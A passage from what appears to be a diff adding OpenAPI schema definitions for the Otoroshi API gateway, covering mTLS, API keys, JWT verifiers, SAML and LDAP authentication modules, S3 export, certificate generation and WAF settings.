"mtls" : { + "type" : "boolean" + }, + "loose" : { + "type" : "boolean" + }, + "trustAll" : { + "type" : "boolean" + } + }, + "title" : "Mtls config", + "required" : [ "certs", "trustedCerts", "mtls", "loose", "trustAll" ] + }, + "nameidformatentity" : { + "type" : "object", + "properties" : { }, + "title" : "Name i d format entity" + }, + "redirectionsettings" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "code" : { + "type" : "number" + }, + "to" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Redirection settings", + "required" : [ "enabled", "code", "to" ] + }, + "nameidformatemailaddress" : { + "type" : "object", + "properties" : { }, + "title" : "Name i d format email address" + }, + "zonematch" : { + "type" : "object", + "properties" : { + "zone" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Zone match", + "required" : [ "zone" ] + }, + "dropnewngoverflowstrategy" : { + "type" : "object", + "properties" : { }, + "title" : "Drop new ng overflow strategy" + }, + "apikeyconstraints" : { + "type" : "object", + "properties" : { + "basicAuth" : { + "$ref" : "#/components/schemas/basicauthconstraints" + }, + "customHeadersAuth" : { + "$ref" : "#/components/schemas/customheadersauthconstraints" + }, + "clientIdAuth" : { + "$ref" : "#/components/schemas/clientidauthconstraints" + }, + "jwtAuth" : { + "$ref" : "#/components/schemas/jwtauthconstraints" + }, + "routing" : { + "$ref" : "#/components/schemas/apikeyroutematcher" + } + }, + "title" : "Api key constraints", + "required" : [ "basicAuth", "customHeadersAuth", "clientIdAuth", "jwtAuth", "routing" ] + }, + "rulesrouteconfiguration" : { + "type" : "object", + "properties" : { + "states" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/rulestaterecord" + } + } + }, + "title" : "Rules route configuration", + "required" : [ "states" ] + }, + "indexsettingsintervalmonth" : { + "type" : "object", + "properties" : { + "name" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Index settings interval month", + "required" : [ "name" ] + }, + "clientauth" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/clientauthneed" + }, { + "$ref" : "#/components/schemas/clientauthnone" + }, { + "$ref" : "#/components/schemas/clientauthwant" + } ] + }, + "clientconfig" : { + "type" : "object", + "properties" : { + "useCircuitBreaker" : { + "type" : "boolean" + }, + "retries" : { + "type" : "number" + }, + "maxErrors" : { + "type" : "number" + }, + "retryInitialDelay" : { + "type" : "number" + }, + "backoffFactor" : { + "type" : "number" + }, + "connectionTimeout" : { + "type" : "number" + }, + "idleTimeout" : { + "type" : "number" + }, + "callAndStreamTimeout" : { + "type" : "number" + }, + "callTimeout" : { + "type" : "number" + }, + "globalTimeout" : { + "type" : "number" + }, + "sampleInterval" : { + "type" : "number" + }, + "proxy" : { + "$ref" : "#/components/schemas/wsproxyserver" + }, + "customTimeouts" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/customtimeouts" + } + }, + "cacheConnectionSettings" : { + "$ref" : "#/components/schemas/cacheconnectionsettings" + } + }, + "title" : "Client config", + "required" : [ "useCircuitBreaker", "retries", "maxErrors", "retryInitialDelay", "backoffFactor", "connectionTimeout", "idleTimeout", "callAndStreamTimeout", "callTimeout", "globalTimeout", "sampleInterval", "customTimeouts", "cacheConnectionSettings" ] + }, + "jstrue" : { + "type" : "object", + "properties" : { }, + "title" : "Js true" + }, + "routeidentifier" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Route identifier", + "required" : [ "id" ] + }, + "refjwtverifier" : { + "type" : "object", + "properties" : { + "ids" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "enabled" : { + "type" : "boolean" + }, + "excludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Ref jwt verifier", + "required" : [ "ids", "enabled", "excludedPatterns" ] + }, + "samlcanocalizationmethod" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/samlcanocalizationmethodexclusive" + }, { + "$ref" : "#/components/schemas/samlcanocalizationmethodexclusivewithcomments" + } ] + }, + "dataexporterconfigtypeconsole" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type console" + }, + "indexsettingsintervalday" : { + "type" : "object", + "properties" : { + "name" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Index settings interval day", + "required" : [ "name" ] + }, + "proxy.otoroshi.io.ErrorTemplate" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "serviceId" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "template40x" : { + "type" : "string", + "minLength" : 1 + }, + "template50x" : { + "type" : "string", + "minLength" : 1 + }, + "templateBuild" : { + "type" : "string", + "minLength" : 1 + }, + "templateMaintenance" : { + "type" : "string", + "minLength" : 1 + }, + "messages" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + }, + "title" : "Error template", + "required" : [ "location", "serviceId", "name", "description", "metadata", "tags", "template40x", "template50x", "templateBuild", "templateMaintenance", "messages" ] + }, + "indexsettingsintervalyear" : { + "type" : "object", + "properties" : { + "name" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Index settings interval year", + "required" : [ "name" ] + }, + "grouprights" : { + "type" : "object", + "properties" : { + "userRights" : { + "$ref" : "#/components/schemas/userrights" + }, + "users" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Group rights", + "required" : [ "userRights", "users" ] + }, + "webhook" : { + "type" : "object", + "properties" : { + "url" : { + "type" : "string", + "minLength" : 1 + }, + "headers" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "mtlsConfig" : { + "$ref" : "#/components/schemas/mtlsconfig" + } + }, + "title" : "Webhook", + "required" : [ "url", "headers", "mtlsConfig" ] + }, + "jsvalue" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/jsarray" + }, { + "$ref" : "#/components/schemas/jsboolean" + }, { + "$ref" : "#/components/schemas/jsfalse" + }, { + "$ref" : "#/components/schemas/jsnull" + }, { + "$ref" : "#/components/schemas/jsnumber" + }, { + "$ref" : "#/components/schemas/jsobject" + }, { + "$ref" : "#/components/schemas/jsstring" + }, { + "$ref" : "#/components/schemas/jstrue" + } ] + }, + "dataexporterconfigtypewebhook" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type webhook" + }, + "ngminimalbackend" : { + "type" : "object", + "properties" : { + "targets" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ngtarget" + } + }, + "root" : { + "type" : "string", + "minLength" : 1 + }, + "rewrite" : { + "type" : "boolean" + }, + "loadBalancing" : { + "$ref" : "#/components/schemas/loadbalancing" + } + }, + "title" : "Ng minimal backend", + "required" : [ "targets", "root", "rewrite", "loadBalancing" ] + }, + "target" : { + "type" : "object", + "properties" : { + "host" : { + "type" : "string", + "minLength" : 1 + }, + "scheme" : { + "type" : "string", + "minLength" : 1 + }, + "weight" : { + "type" : "number" + }, + "protocol" : { + "$ref" : "#/components/schemas/httpprotocol" + }, + "predicate" : { + "$ref" : "#/components/schemas/targetpredicate" + }, + "ipAddress" : { + "type" : "string", + "minLength" : 1 + }, + "mtlsConfig" : { + "$ref" : "#/components/schemas/mtlsconfig" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + }, + "title" : "Target", + "required" : [ "host", "scheme", "weight", "protocol", "predicate", "mtlsConfig", "tags", "metadata" ] + }, + "samlauthmoduleconfig" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "desc" : { + "type" : "string", + "minLength" : 1 + }, + "clientSideSessionEnabled" : { + "type" : "boolean" + }, + "sessionMaxAge" : { + "type" : "number" + }, + "userValidators" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonpathvalidator" + } + }, + "singleSignOnUrl" : { + "type" : "string", + "minLength" : 1 + }, + "singleLogoutUrl" : { + "type" : "string", + "minLength" : 1 + }, + "ssoProtocolBinding" : { + "$ref" : "#/components/schemas/samlprotocolbinding" + }, + "singleLogoutProtocolBinding" : { + "$ref" : "#/components/schemas/samlprotocolbinding" + }, + "credentials" : { + "$ref" : "#/components/schemas/samlcredentials" + }, + "signature" : { + "$ref" : "#/components/schemas/samlsignature" + }, + "nameIDFormat" : { + "$ref" : "#/components/schemas/nameidformat" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "issuer" : { + "type" : "string", + "minLength" : 1 + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "validatingCertificates" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "validateSignature" : { + "type" : "boolean" + }, + "validateAssertions" : { + "type" : "boolean" + }, + "usedNameIDAsEmail" : { + "type" : "boolean" + }, + "emailAttributeName" : { + "type" : "string", + "minLength" : 1 + }, + "sessionCookieValues" : { + "$ref" : "#/components/schemas/sessioncookievalues" + }, + "adminEntityValidatorsOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonvalidator" + } + } + } + } + } + } + }, + "title" : "Saml auth module config", + "required" : [ "id", "name", "desc", "clientSideSessionEnabled", "sessionMaxAge", "userValidators", "singleSignOnUrl", "ssoProtocolBinding", "singleLogoutProtocolBinding", "credentials", "signature", "nameIDFormat", "tags", "metadata", "issuer", "location", "validatingCertificates", "validateSignature", "validateAssertions", "usedNameIDAsEmail", "sessionCookieValues", "adminEntityValidatorsOverride" ] + }, + "clientauthneed" : { + "type" : "object", + "properties" : { }, + "title" : "Client auth need" + }, + "dataexporterconfigtypepulsar" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type pulsar" + }, + "ngplugins" : { + "type" : "object", + "properties" : { + "slots" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ngplugininstance" + } + } + }, + "title" : "Ng plugins", + "required" : [ "slots" ] + }, + "failngoverflowstrategy" : { + "type" : "object", + "properties" : { }, + "title" : "Fail ng overflow strategy" + }, + "s3configuration" : { + "type" : "object", + "properties" : { + "bucket" : { + "type" : "string", + "minLength" : 1 + }, + "endpoint" : { + "type" : "string", + "minLength" : 1 + }, + "region" : { + "type" : "string", + "minLength" : 1 + }, + "access" : { + "type" : "string", + "minLength" : 1 + }, + "secret" : { + "type" : "string", + "minLength" : 1 + }, + "key" : { + "type" : "string", + "minLength" : 1 + }, + "chunkSize" : { + "type" : "number" + }, + "v4auth" : { + "type" : "boolean" + }, + "writeEvery" : { + "$ref" : "#/components/schemas/finiteduration" + }, + "acl" : { + "$ref" : "#/components/schemas/cannedacl" + } + }, + "title" : "S3 configuration", + "required" : [ "bucket", "endpoint", "region", "access", "secret", "key", "chunkSize", "v4auth", "writeEvery", "acl" ] + }, + "ngplugininstance" : { + "type" : "object", + "properties" : { + "plugin" : { + "type" : "string", + "minLength" : 1 + }, + "enabled" : { + "type" : "boolean" + }, + "debug" : { + "type" : "boolean" + }, + "include" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "exclude" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "config" : { + "$ref" : "#/components/schemas/ngplugininstanceconfig" + }, + "pluginIndex" : { + "$ref" : "#/components/schemas/pluginindex" + }, + "instanceId" : { + "type" : "number" + } + }, + "title" : "Ng plugin instance", + "required" : [ "plugin", "enabled", "debug", "include", "exclude", "config", "instanceId" ] + }, + "tlsmodeenabled" : { + "type" : "object", + "properties" : { }, + "title" : "Tls mode enabled" + }, + "otoroshiadmintypesimpleadmin" : { + "type" : "object", + "properties" : { }, + "title" : "Otoroshi admin type simple admin" + }, + "nameidformatkerberos" : { + "type" : "object", + "properties" : { }, + "title" : "Name i d format kerberos" + }, + "servicedescriptoridentifier" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Service descriptor identifier", + "required" : [ "id" ] + }, + "customheadersauthconstraints" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "clientIdHeaderName" : { + "type" : "string", + "minLength" : 1 + }, + "clientSecretHeaderName" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Custom headers auth constraints", + "required" : [ "enabled" ] + }, + "mappingsettings" : { + "type" : "object", + "properties" : { + "map" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "values" : { + "$ref" : "#/components/schemas/jsobject" + }, + "remove" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Mapping settings", + "required" : [ "map", "values", "remove" ] + }, + "samlcanocalizationmethodexclusivewithcomments" : { + "type" : "object", + "properties" : { }, + "title" : "S a m l canocalization method exclusive with comments" + }, + "tlsmodedisabled" : { + "type" : "object", + "properties" : { }, + "title" : "Tls mode disabled" + }, + "credential" : { + "type" : "object", + "properties" : { + "certificate" : { + "type" : "string", + "minLength" : 1 + }, + "privateKey" : { + "type" : "string", + "minLength" : 1 + }, + "certId" : { + "type" : "string", + "minLength" : 1 + }, + "useOtoroshiCertificate" : { + "type" : "boolean" + } + }, + "title" : "Credential", + "required" : [ "useOtoroshiCertificate" ] + }, + "passthrough" : { + "type" : "object", + "properties" : { + "verificationSettings" : { + "$ref" : "#/components/schemas/verificationsettings" + } + }, + "title" : "Pass through", + "required" : [ "verificationSettings" ] + }, + "jwttokenlocation" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/incookie" + }, { + "$ref" : "#/components/schemas/inheader" + }, { + "$ref" : "#/components/schemas/inqueryparam" + } ] + }, + "PemCertificateBody" : { + "type" : "string", + "description" : "PEM encoded certificate" + }, + "otoroshi.ssl.pki.models.GenCsrResponse" : { + "type" : "object", + "description" : "Response for a csr generation operation", + "properties" : { + "csr" : { + "type" : "string", + "description" : "CSR (PEM encoded)" + }, + "publicKey" : { + "type" : "string", + "description" : "Public key (PEM encoded)" + }, + "privateKey" : { + "type" : "string", + "description" : "Private key (PEM encoded)" + } + } + }, + "defaultwsproxyserver" : { + "type" : "object", + "properties" : { + "host" : { + "type" : "string", + "minLength" : 1 + }, + "port" : { + "type" : "number" + }, + "protocol" : { + "type" : "string", + "minLength" : 1 + }, + "principal" : { + "type" : "string", + "minLength" : 1 + }, + "password" : { + "type" : "string", + "minLength" : 1 + }, + "ntlmDomain" : { + "type" : "string", + "minLength" : 1 + }, + "encoding" : { + "type" : "string", + "minLength" : 1 + }, + "nonProxyHosts" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Default w s proxy server", + "required" : [ "host", "port" ] + }, + "seccomversionv2" : { + "type" : "object", + "properties" : { }, + "title" : "Sec com version v2" + }, + "transformsettings" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/jwttokenlocation" + }, + "mappingSettings" : { + "$ref" : "#/components/schemas/mappingsettings" + } + }, + "title" : "Transform settings", + "required" : [ "location", "mappingSettings" ] + }, + "accessvalidatorref" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "excludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "refs" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "config" : { + "$ref" : "#/components/schemas/jsvalue" + } + }, + "title" : "Access validator ref", + "required" : [ "enabled", "excludedPatterns", "refs", "config" ] + }, + "jsonpathvalidator" : { + "type" : "object", + "properties" : { + "path" : { + "type" : "string", + "minLength" : 1 + }, + "value" : { + "$ref" : "#/components/schemas/jsvalue" + }, + "error" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Json path validator", + "required" : [ "path", "value" ] + }, + "inqueryparam" : { + "type" : "object", + "properties" : { + "name" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "In query param", + "required" : [ "name" ] + }, + "apim.otoroshi.io.Apikey" : { + "type" : "object", + "properties" : { + "clientId" : { + "type" : "string", + "minLength" : 1 + }, + "clientSecret" : { + "type" : "string", + "minLength" : 1 + }, + "clientName" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "authorizedEntities" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/entityidentifier" + } + }, + "enabled" : { + "type" : "boolean" + }, + "readOnly" : { + "type" : "boolean" + }, + "allowClientIdOnly" : { + "type" : "boolean" + }, + "throttlingQuota" : { + "type" : "number" + }, + "dailyQuota" : { + "type" : "number" + }, + "monthlyQuota" : { + "type" : "number" + }, + "constrainedServicesOnly" : { + "type" : "boolean" + }, + "restrictions" : { + "$ref" : "#/components/schemas/restrictions" + }, + "validUntil" : { + "type" : "string", + "format" : "date" + }, + "rotation" : { + "$ref" : "#/components/schemas/apikeyrotation" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Api key", + "required" : [ "clientId", "clientSecret", "clientName", "description", "authorizedEntities", "enabled", "readOnly", "allowClientIdOnly", "throttlingQuota", "dailyQuota", "monthlyQuota", "constrainedServicesOnly", "restrictions", "rotation", "tags", "metadata", "location" ] + }, + "CertValidResponse" : { + "type" : "object", + "description" : "Is certificate valid", + "properties" : { + "valid" : { + "type" : "boolean" + } + } + }, + "jsboolean" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/jsfalse" + }, { + "$ref" : "#/components/schemas/jstrue" + } ] + }, + "otoroshi.ssl.pki.models.GenCertResponse" : { + "type" : "object", + "description" : "Response for a certificate generation operation", + "properties" : { + "ca" : { + "type" : "string", + "description" : "Ca cert (PEM encoded)" + }, + "caChain" : { + "type" : "array", + "items" : { + "type" : "string", + "description" : "pem encoded X509 certificate" + }, + "description" : "Ca chain (PEM encoded)" + }, + "csrQuery" : { + "oneOf" : [ { + "type" : "string", + "nullable" : true, + "description" : "null type" + }, { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCsrQuery" + } ], + "description" : "JSON generation query" + }, + "cert" : { + "type" : "string", + "description" : "Cert (PEM encoded)" + }, + "serial" : { + "type" : "integer", + "format" : "int64", + "description" : "Certificate serial number" + }, + "key" : { + "type" : "string", + "description" : "Private key (PEM encoded)" + }, + "csr" : { + "type" : "string", + "description" : "CSR (PEM encoded)" + } + } + }, + "ngfrontend" : { + "type" : "object", + "properties" : { + "domains" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ngdomainandpath" + } + }, + "headers" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "query" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "methods" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "stripPath" : { + "type" : "boolean" + }, + "exact" : { + "type" : "boolean" + } + }, + "title" : "Ng frontend", + "required" : [ "domains", "headers", "query", "methods", "stripPath", "exact" ] + }, + "latencyinjectionfaultconfig" : { + "type" : "object", + "properties" : { + "ratio" : { + "type" : "number" + }, + "from" : { + "$ref" : "#/components/schemas/finiteduration" + }, + "to" : { + "$ref" : "#/components/schemas/finiteduration" + } + }, + "title" : "Latency injection fault config", + "required" : [ "ratio", "from", "to" ] + }, + "nameidformat" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/nameidformatemailaddress" + }, { + "$ref" : "#/components/schemas/nameidformatentity" + }, { + "$ref" : "#/components/schemas/nameidformatkerberos" + }, { + "$ref" : "#/components/schemas/nameidformatpersistent" + }, { + "$ref" : "#/components/schemas/nameidformattransient" + }, { + "$ref" : "#/components/schemas/nameidformatunspecified" + } ] + }, + "dataexporterconfigtypecustom" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type custom" + }, + "largerequestfaultconfig" : { + "type" : "object", + "properties" : { + "ratio" : { + "type" : "number" + }, + "additionalRequestSize" : { + "type" : "number" + } + }, + "title" : "Large request fault config", + "required" : [ "ratio", "additionalRequestSize" ] + }, + "jsonvalidator" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/jsonpathvalidator" + }, { + "$ref" : "#/components/schemas/opapluginvalidator" + }, { + "$ref" : "#/components/schemas/wasmpluginvalidator" + } ] + }, + "jsarray" : { + "type" : "object", + "properties" : { + "value" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsvalue" + } + } + }, + "title" : "Js array", + "required" : [ "value" ] + }, + "transform" : { + "type" : "object", + "properties" : { + "verificationSettings" : { + "$ref" : "#/components/schemas/verificationsettings" + }, + "transformSettings" : { + "$ref" : "#/components/schemas/transformsettings" + }, + "algoSettings" : { + "$ref" : "#/components/schemas/algosettings" + } + }, + "title" : "Transform", + "required" : [ "verificationSettings", "transformSettings", "algoSettings" ] + }, + "healthcheck" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "url" : { + "type" : "string", + "minLength" : 1 + }, + "timeout" : { + "type" : "number" + }, + "healthyStatuses" : { + "type" : "array", + "items" : { + "type" : "number" + } + }, + "unhealthyStatuses" : { + "type" : "array", + "items" : { + "type" : "number" + } + } + }, + "title" : "Health check", + "required" : [ "enabled", "url", "timeout", "healthyStatuses", "unhealthyStatuses" ] + }, + "globaljwtverifier" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "desc" : { + "type" : "string", + "minLength" : 1 + }, + "strict" : { + "type" : "boolean" + }, + "source" : { + "$ref" : "#/components/schemas/jwttokenlocation" + }, + "algoSettings" : { + "$ref" : "#/components/schemas/algosettings" + }, + "strategy" : { + "$ref" : "#/components/schemas/verifierstrategy" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Global jwt verifier", + "required" : [ "id", "name", "desc", "strict", "source", "algoSettings", "strategy", "tags", "metadata", "location" ] + }, + "tlsmode" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/tlsmodedisabled" + }, { + "$ref" : "#/components/schemas/tlsmodeenabled" + }, { + "$ref" : "#/components/schemas/tlsmodepassthrough" + } ] + }, + "webauthndetails" : { + "type" : "object", + "properties" : { + "handle" : { + "type" : "string", + "minLength" : 1 + }, + "credentials" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "$ref" : "#/components/schemas/jsvalue" + } + } + } + }, + "title" : "Web authn details", + "required" : [ "handle", "credentials" ] + }, + "geopositionradius" : { + "type" : "object", + "properties" : { + "latitude" : { + "type" : "number" + }, + "longitude" : { + "type" : "number" + }, + "radius" : { + "type" : "number" + } + }, + "title" : "Geo position radius", + "required" : [ "latitude", "longitude", "radius" ] + }, + "nameidformattransient" : { + "type" : "object", + "properties" : { }, + "title" : "Name i d format transient" + }, + "security.otoroshi.io.JwtVerifier" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "desc" : { + "type" : "string", + "minLength" : 1 + }, + "strict" : { + "type" : "boolean" + }, + "source" : { + "$ref" : "#/components/schemas/jwttokenlocation" + }, + "algoSettings" : { + "$ref" : "#/components/schemas/algosettings" + }, + "strategy" : { + "$ref" : "#/components/schemas/verifierstrategy" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Global jwt verifier", + "required" : [ "id", "name", "desc", "strict", "source", "algoSettings", "strategy", "tags", "metadata", "location" ] + }, + "otoroshi.models.Outage" : { + "type" : "object", + "description" : "???", + "properties" : { + "descriptorName" : { + "type" : "string", + "description" : "???" + }, + "descriptorId" : { + "type" : "string", + "description" : "???" + }, + "until" : { + "type" : "string", + "description" : "???" + }, + "duration" : { + "type" : "number", + "description" : "???" + }, + "startedAt" : { + "type" : "number", + "description" : "???" + } + } + }, + "groupfilter" : { + "type" : "object", + "properties" : { + "group" : { + "type" : "string", + "minLength" : 1 + }, + "tenant" : { + "$ref" : "#/components/schemas/tenantaccess" + }, + "team" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Group filter", + "required" : [ "group", "tenant", "team" ] + }, + "Any" : { + "oneOf" : [ { + "type" : "object" + }, { + "type" : "array" + }, { + "type" : "string" + }, { + "type" : "boolean" + }, { + "type" : "number" + }, { + "type" : "integer" + } ] + }, + "cannedacl" : { + "type" : "object", + "properties" : { + "value" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Canned acl", + "required" : [ "value" ] + }, + "ldapauthmoduleconfig" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "desc" : { + "type" : "string", + "minLength" : 1 + }, + "sessionMaxAge" : { + "type" : "number" + }, + "clientSideSessionEnabled" : { + "type" : "boolean" + }, + "userValidators" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonpathvalidator" + } + }, + "basicAuth" : { + "type" : "boolean" + }, + "allowEmptyPassword" : { + "type" : "boolean" + }, + "serverUrls" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "searchBase" : { + "type" : "string", + "minLength" : 1 + }, + "userBase" : { + "type" : "string", + "minLength" : 1 + }, + "groupFilters" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/groupfilter" + } + }, + "searchFilter" : { + "type" : "string", + "minLength" : 1 + }, + "adminUsername" : { + "type" : "string", + "minLength" : 1 + }, + "adminPassword" : { + "type" : "string", + "minLength" : 1 + }, + "nameField" : { + "type" : "string", + "minLength" : 1 + }, + "emailField" : { + "type" : "string", + "minLength" : 1 + }, + "metadataField" : { + "type" : "string", + "minLength" : 1 + }, + "extraMetadata" : { + "$ref" : "#/components/schemas/jsobject" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "sessionCookieValues" : { + "$ref" : "#/components/schemas/sessioncookievalues" + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "superAdmins" : { + "type" : "boolean" + }, + "extractProfile" : { + "type" : "boolean" + }, + "extractProfileFilter" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "extractProfileFilterNot" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "rightsOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "$ref" : "#/components/schemas/userrights" + } + } + }, + "dataOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "$ref" : "#/components/schemas/jsobject" + } + } + }, + "adminEntityValidatorsOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonvalidator" + } + } + } + } + } + }, + "groupRights" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "$ref" : "#/components/schemas/grouprights" + } + } + } + }, + "title" : "Ldap auth module config", + "required" : [ "id", "name", "desc", "sessionMaxAge", "clientSideSessionEnabled", "userValidators", "basicAuth", "allowEmptyPassword", "serverUrls", "searchBase", "groupFilters", "searchFilter", "nameField", "emailField", "extraMetadata", "tags", "metadata", "sessionCookieValues", "location", "superAdmins", "extractProfile", "extractProfileFilter", "extractProfileFilterNot", "rightsOverride", "dataOverride", "adminEntityValidatorsOverride", "groupRights" ] + }, + "kidalgosettings" : { + "type" : "object", + "properties" : { + "onlyExposedCerts" : { + "type" : "boolean" + } + }, + "title" : "Kid algo settings", + "required" : [ "onlyExposedCerts" ] + }, + "coraza-waf.extensions.otoroshi.io.CorazaConfig" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "inspectBody" : { + "type" : "boolean" + }, + "config" : { + "$ref" : "#/components/schemas/jsobject" + }, + "poolCapacity" : { + "type" : "number" + } + }, + "title" : "Coraza waf config", + "required" : [ "location", "id", "name", "description", "tags", "metadata", "inspectBody", "config", "poolCapacity" ] + }, + "samlsignaturealgorithmrsa_sha1" : { + "type" : "object", + "properties" 